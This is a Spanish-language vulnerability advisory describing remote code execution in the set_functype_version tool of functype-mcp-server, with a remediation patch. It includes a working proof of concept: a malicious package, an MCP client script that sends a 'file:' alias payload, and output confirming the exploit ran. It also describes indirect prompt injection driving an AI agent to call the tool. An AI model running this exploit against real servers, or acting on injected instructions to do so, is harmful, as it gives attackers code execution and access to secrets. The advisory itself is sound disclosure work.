Resumen
La herramienta MCP set_functype_version del paquete functype-mcp-server acepta una cadena version sin restricciones, la interpola directamente en un especificador de paquete npm (functype@<version>) y lo instala mediante pnpm add sin ninguna validación. Dado que los especificadores de paquetes npm/pnpm admiten sintaxis de alias como file:, npm: y otras, un atacante que pueda enviar una solicitud MCP tools/call a esta herramienta puede provocar que el servidor instale un paquete local o remoto arbitrario como functype. Inmediatamente después de la instalación, el servidor invoca initDocsData(true), que importa dinámicamente functype/cli desde la ubicación recién instalada, ejecutando JavaScript controlado por el atacante en el proceso del servidor MCP. Esto resulta en RCE completo con los privilegios del proceso del servidor, con impacto total en confidencialidad, integridad y disponibilidad (CVSS 7.8 High).
Detalles técnicos
El código vulnerable se encuentra en packages/mcp-server/src/index.ts. La herramienta set_functype_version se registra en la línea 115 y está habilitada por defecto sin requerir autenticación en modo stdio.
Fuente: entrada de usuario aceptada sin validación
// packages/mcp-server/src/index.ts:119-121
parameters: z.object({
version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'),
}),
Solo se aplica la validación z.string(), sin comprobación de formato semver, sin lista de permitidos para dist-tags y sin rechazo de sintaxis file:, npm:, URL o alias de ruta.
Sink 1: instalación arbitraria de paquete
// packages/mcp-server/src/index.ts:122-125
execute: async (args) => {
const spec = `functype@${args.version}`
try {
execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
args.version se interpola en la cadena del especificador de paquete y se pasa directamente a pnpm add. Suministrar file:/ruta/al/paquete/malicioso provoca que pnpm instale un directorio controlado por el atacante como alias del paquete functype.
Sink 2: importación dinámica ejecuta código del paquete instalado
// packages/mcp-server/src/lib/docs/data.ts:23-30
if (force) {
const resolvedPath = require.resolve("functype/cli")
cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`)
}
initDocsData(true) se invoca inmediatamente después de la instalación (línea 134 de index.ts). Resuelve functype/cli desde los node_modules que ahora apuntan al paquete del atacante y lo importa dinámicamente, ejecutando cualquier código a nivel de módulo del cli.js del atacante en el momento de la importación.
Resumen del flujo de datos
index.ts:115: herramienta MCPset_functype_versionregistrada, sin autenticación requerida.index.ts:119-121:versionaceptada comoz.string()sin procesar (fuente).index.ts:123:functype@${args.version}construido sin saneamiento.index.ts:125:execFileSync("pnpm", ["add", spec], ...)instala el paquete controlado por el atacante (sink: instalación arbitraria).index.ts:134:initDocsData(true)invocado inmediatamente.data.ts:29-30:require.resolve("functype/cli")mas importación dinámica ejecutan el módulo del atacante (sink: RCE).
Prueba de concepto
Paso 1: preparar el paquete malicioso controlado por el atacante
mkdir -p /tmp/evil
cat > /tmp/evil/package.json <<'EOF'
{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}}
EOF
cat > /tmp/evil/cli.js <<'EOF'
import { writeFileSync } from "node:fs";
writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n");
export const TYPES = {};
export const INTERFACES = {};
export const CATEGORIES = {};
export const FULL_INTERFACES = {};
export const VERSION = "1.0.0";
EOF
Paso 2: clonar y compilar el monorepo víctima en la versión afectada
TMP="$(mktemp -d)"
git clone https://github.com/jordanburke/functype.git "$TMP/functype"
cd "$TMP/functype"
git checkout v1.4.3
corepack enable
pnpm install --frozen-lockfile
pnpm -F functype build
pnpm -F functype-mcp-server build
Paso 3: configurar un cliente MCP para entregar el exploit
cd "$TMP"
npm init -y
npm pkg set type=module
npm install @modelcontextprotocol/sdk
cat > exploit.mjs <<'EOF'
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
const client = new Client({ name: "poc", version: "1.0.0" });
const transport = new StdioClientTransport({
command: "node",
args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`],
env: { ...process.env, TRANSPORT_TYPE: "stdio" },
});
await client.connect(transport);
const result = await client.callTool({
name: "set_functype_version",
arguments: { version: "file:/tmp/evil" },
});
console.log(result);
await client.close();
EOF
REPO="$TMP/functype" node exploit.mjs
Paso 4: verificar la ejecución de código arbitrario
cat /pwned.txt
# Salida esperada: RCE: mcp import-time code execution via set_functype_version
Reproducción dinámica (Docker):
La prueba dinámica utilizó el Dockerfile proporcionado, que automatiza los pasos anteriores dentro de un contenedor. El contenedor confirmó la creación de /pwned.txt con la cadena de payload esperada, demostrando RCE de extremo a extremo.
[poc] EXPLOIT SUCCEEDED: /pwned.txt exists
[poc] File contents: RCE: mcp import-time code execution via set_functype_version
[evil-payload] Arbitrary code executed via functype/cli dynamic import
Remediación recomendada
+const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/
+
+const isSafeFunctypeVersion = (version: string): boolean => {
+ const trimmed = version.trim()
+ return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\@]/.test(trimmed)
+}
execute: async (args) => {
- const spec = `functype@${args.version}`
+ if (!isSafeFunctypeVersion(args.version)) {
+ return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag."
+ }
+ const spec = `functype@${args.version}`
try {
- execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
+ execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
Impacto
Esta es una vulnerabilidad de RCE. Cualquier cliente MCP que pueda invocar la herramienta set_functype_version, que no requiere autenticación y está habilitada por defecto en el servidor MCP stdio, puede ejecutar JavaScript arbitrario en el proceso del servidor MCP.
Personas y entornos afectados:
- Desarrolladores y equipos que ejecutan
functype-mcp-server(versión 1.4.3) en sus entornos locales o de integración continua como integración de asistente de codificación IA. - Usuarios cuyo asistente IA (agente LLM) esté conectado a este servidor MCP y sea susceptible a inyección indirecta de prompts: un documento o página web maliciosa leída por la IA podría desencadenar una llamada a
set_functype_versioncon un payload de aliasfile:onpm:. - En despliegues no predeterminados con
TRANSPORT_TYPE=httpStream, atacantes con acceso a la red pueden explotar esto sin acceso local.
El impacto completo en la explotación abarca confidencialidad, integridad y disponibilidad: un atacante puede leer secretos del entorno del proceso, modificar archivos o provocar la caída del servidor.
